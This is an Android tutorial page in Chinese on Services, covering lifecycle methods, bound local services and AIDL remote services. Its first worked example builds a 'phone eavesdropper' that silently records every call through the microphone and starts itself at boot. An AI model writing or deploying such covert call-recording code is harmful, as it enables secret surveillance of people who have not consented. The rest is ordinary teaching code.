Android教程網
  1. 首頁
  2. Android 技術
  3. Android 手機
  4. Android 系統教程
  5. Android 游戲
 Android教程網 >> Android技術 >> 關於Android編程 >> android開發 - Service服務

android開發 - Service服務

編輯:關於Android編程

\

 

 

Service沒有UI,因為service是後台運行


如:下載,網絡I/O 等等


Service的生命周期
從它被創建開始,到它被銷毀為止,


onCreate();
onStartCommand();
onBind();
onUnbind();
onRebind();
onDestroy();

一般分為三種方式


第一種:
當采用Context.startService()方法啟動服務,與之有關


的生命周期方法
onCreate() -> onStartCommand() -> onDestroy()

onCreate()該方法在服務被創建時調用,該方法只會被調


用一次,無論調用多少次startService()或bindService()方


法,服務也只被創建一次
onStart() 只有采用Context.startService()方法啟動服


務時才會調用該方法,該方法在服務開始運行時被調用,多次


調用startService()方法盡管不會多次創建服務,但onStart


()方法會被多次調用
onDestroy()該方法在服務被終止時調用


第二種:
當采用Context.bindService()方法啟動服務,與之有關


的生命周期方法
onCreate() -> onBind() -> onUnbind() -> onDestroy


()
onBind() 只有采用Context.bindService()方法啟動服務


時才會回調該方法,該方法在調用者與服務綁定時被盜用,當


調用者與服務已經綁定,多次調用,Context.bindService()方


法並不會導致該方法被多次調用。
onUnbind()只有采用Context.bindService()方法啟動服


務時才會回調該方法,該方法在調用者與服務解除綁定時被調


用。


第三種:混合啟動綁定服務
如果先采用startService()方法啟動服務,然後調用


bindService方法綁定到服務,在調用unbindService()方法


解除綁定,最後調用bindService()方法再次綁定到服務,觸


發的生命周I方法如下:
onCreate() ->
onStartCommand() ->
onBind() -> onUnbind()[重載後的方法需返回true]


->
onRebind()






采用Service實現電話竊聽器


1.新建一個類繼承Service
/*
* 采用Service實現電話竊聽器
*/
public class PersonService extends Service {


// 該方法只會被調用一次
@Override
public void onCreate() {
super.onCreate();
// 取得電話管理服務
TelephonyManager telephonyManager =


(TelephonyManager) getSystemService


(Context.TELEPHONY_SERVICE);
telephonyManager.listen(new


PhoneListener(),



PhoneStateListener.LISTEN_CALL_STATE);


}


// 電話監聽器
private final class PhoneListener extends


PhoneStateListener {
private String incomingNumberString;
private MediaRecorder mediaRecorder;
private File file;


@Override
public void onCallStateChanged(int


state, String incomingNumber) {
switch (state) {
// 來電
case


TelephonyManager.CALL_STATE_RINGING:



this.incomingNumberString = incomingNumber;


break;
// 接通電話
case


TelephonyManager.CALL_STATE_OFFHOOK:
try {
file = new


File(Environment.getExternalStorageDirectory(),



incomingNumber + System.currentTimeMillis());
mediaRecorder


= new MediaRecorder();



mediaRecorder.setAudioSource


(MediaRecorder.AudioSource.MIC);
mediaRecorder



.setOutputFormat


(MediaRecorder.OutputFormat.THREE_GPP);
mediaRecorder



.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);



mediaRecorder.setOutputFile(file.getAbsolutePath());



mediaRecorder.prepare();// 准備



mediaRecorder.start();// 開始錄音
} catch (IOException


e) {
}
break;
// 掛斷電話回歸到空閒狀態
case


TelephonyManager.CALL_STATE_IDLE:
if (mediaRecorder !=


null) {



mediaRecorder.stop();



mediaRecorder.release();
mediaRecorder


= null;
}
break;
}
}
}


@Override
public IBinder onBind(Intent intent) {
return null;
}
}


2.配置清單文件



3.服務是不能自己運行的是需要調用啟動服務
比如說,開機啟動,那麼需要使用廣播接收者,
然後從廣播啟動服務


開機啟動的廣播接收者配置


android:name="com.example.service_demo.broadcast.MyBro


adcast">



android:name="android.intent.action.BOOT_COMPLETED"


/>





代碼:
public class MyBroadcast extends BroadcastReceiver {


@Override
public void onReceive(Context context, Intent


intent) {
context.startService(new Intent


(context,MyService.class));
}
}






4.配置必要的權限



android:name="android.permission.READ_PHONE_STATE" />



android:name="android.permission.WRITE_EXTERNAL_STORAG


E" />



android:name="android.permission.MOUNT_UNMOUNT_FILESYS


TEMS" />



android:name="android.permission.INTERNET" />



android:name="android.permission.RECORD_AUDIO" />




5.現在就可以啟動了
然後打電話就會被錄音


現在服務是在系統中啟動了,但是怎麼停止了?
如果不顯示關閉服務,而是由系統自己來關閉,就是當內存


不夠時,先終結掉後台繼承,如果後台進程還不夠,那麼就


需要結束掉服務進程

手動調用關閉服務是
Context.stopService();


















建立能與訪問者進行相互通信的本地服務


通過startService()和stopService()啟動關閉服務,適用於


服務和訪問者之間沒有交互的情況


如果服務和訪問者之間需要方法調用或者傳遞參數,則需要使


用bindService()和unbindServie()方法啟動關閉服務


采用Context.bindService()方法啟動服務,在服務未被創建


時,系統會先調用服務的onCreate()方法,接著調用onBind()


方法,這個時候訪問者和服務綁定在一起,如果訪問者要與服


務進行通信,那麼,onBind()方法必須返回IBinder對象,


如果訪問者退出了,系統就會先調用服務器的onUnbind(),接


著調用onDestroy()方法,如果調用bindService()方法前服務


已經被綁定多次調用bindService()方法並不會導致多次創


建服務及綁定(也就是說onCreate()和onBind()方法並不會被


多次調用),


如果訪問者希望與正在綁定的服務解除綁定,可以調用


unbindService()方法,調用該方法也會導致調用系統的


unbind() -> onDestroy()






訪問者調用服務中的方法


1.當我們啟動調用bindService()時,系統會調用Service類的


onBind()方法 ,返回IBinder對象,所以我們創建一個內部類


繼承自Binder,並且聲明一個全局IBinder對象,返回Binder對


象的實例


2.創建一個繼承service的類

/*
* 綁定服務的過程是:客戶啟動服務,服務返回一個IBinder


對象
* 由於IBinder是一個接口,所以我們需要自定一個類繼承


Binder對象,然後把這個類的實例對象給接口對象
* 在將這個接口對象給返回
*/
public class MyService extends Service {


private String[] nameStrings = {"小明","小


王","夏利","校長"};

private IBinder binder = new StudentBinder();

public String query(int id){
if(id > 0 && id < 4){
return nameStrings[id-1];
}
return null;
}

@Override
public IBinder onBind(Intent intent) {
return binder;
}

private class StudentBinder extends Binder


implements IStudent{
public String queryStudent(int id){
return query(id);
}
}
}


3.創建一個接口
public interface IStudent {
String queryStudent(int id);
}


4.在Activity中調用

public class MainActivity extends Activity {


private ServiceConnection conn= new


StudentServiceConnection();
private IStudent iStudent;

@Override
protected void onCreate(Bundle savedInstanceState)


{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

final TextView tv = (TextView)


this.findViewById(R.id.textview);
final EditText txt = (EditText)


this.findViewById(R.id.editText);
this.findViewById


(R.id.button).setOnClickListener(new


View.OnClickListener() {
@Override
public void onClick(View v) {
String text =


iStudent.queryStudent(Integer.valueOf(txt.getText


().toString()));
tv.setText(text);
}
});




Intent service = new Intent


(this,MyService.class);
bindService(service, conn, BIND_AUTO_CREATE);
}

private class StudentServiceConnection implements


ServiceConnection{
@Override
public void onServiceConnected


(ComponentName name, IBinder service) {
iStudent = (IStudent)service;
}

@Override
public void onServiceDisconnected


(ComponentName name) {
iStudent = null;
}
}

@Override
protected void onDestroy() {
//當activity被摧毀時注銷綁定
unbindService(conn);
super.onDestroy();
}
}






這種服務就類似QQ中的發送一條消息,需要經過這樣的服務過



當然,發送UDP信息,沒有寫,這裡只是講綁定服務需要執行


的過程






























使用AIDL和遠程服務實現進程通信


AIDL就是進程間通信


Android Interface Definition Language


AIDL是一種接口定義語言,用於約束兩個進程間的通訊規則,
供編譯器生成代碼








1.新建一個項目 作為服務端
新建一個接口,並且把這個.java文件格式改成.aidl
並且不能有訪問修飾符
刷新項目,在gen下會生成一個文件,不過這裡的文件不需


要我們來改,系統自動生成的


2.現在創建一個服務
代碼
public class queryStudentService extends Service {
private IBinder binder = new


StudentQueryBinder();
private String[] str = {"小王","呵呵","哈哈"};
public String query(int id){
return str[id];
}

@Override
public IBinder onBind(Intent intent) {

return binder;
}

private final class StudentQueryBinder extends


StudentQuery.Stub{


@Override
public String queryStudent(int number)


throws RemoteException {
return query(number);
}
}
}

配置文件


android:name="com.example.android_remote_aidl.service.


queryStudentServic">


android:name="com.enenya.service.queryStudentService"/


>





3.寫一個客戶端
把服務端的那個aidl包復制到客戶端項目中來
public class MainActivity extends Activity {


private ServiceConnection conn = new


StudentServiceConnection();
private StudentQuery studentQuery;

@Override
protected void onCreate(Bundle savedInstanceState)


{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);


final TextView tv = (TextView)


this.findViewById(R.id.textview);
final EditText editText = (EditText)


this.findViewById(R.id.edittext);
this.findViewById


(R.id.button).setOnClickListener(new


View.OnClickListener(){
@Override
public void onClick(View v) {
try {
String aString


= studentQuery.queryStudent(Integer.valueOf


(editText.getText().toString()));
tv.setText


(aString);
} catch


(NumberFormatException e) {
// TODO Auto-


generated catch block



e.printStackTrace();
} catch


(RemoteException e) {
// TODO Auto-


generated catch block



e.printStackTrace();
}


}
});


Intent service = new Intent


("com.enenya.service.queryStudentService");
bindService(service, conn, BIND_AUTO_CREATE);
}


private class StudentServiceConnection implements


ServiceConnection{


@Override
public void onServiceConnected


(ComponentName name, IBinder service) {
studentQuery =


StudentQuery.Stub.asInterface(service);
}


@Override
public void onServiceDisconnected


(ComponentName name) {
studentQuery = null;
}
}

@Override
protected void onDestroy() {
unbindService(conn);
super.onDestroy();
}


}










































 

  1. 上一頁:
  2. 下一頁:
熱門文章
閱讀排行版
Copyright © Android教程網 All Rights Reserved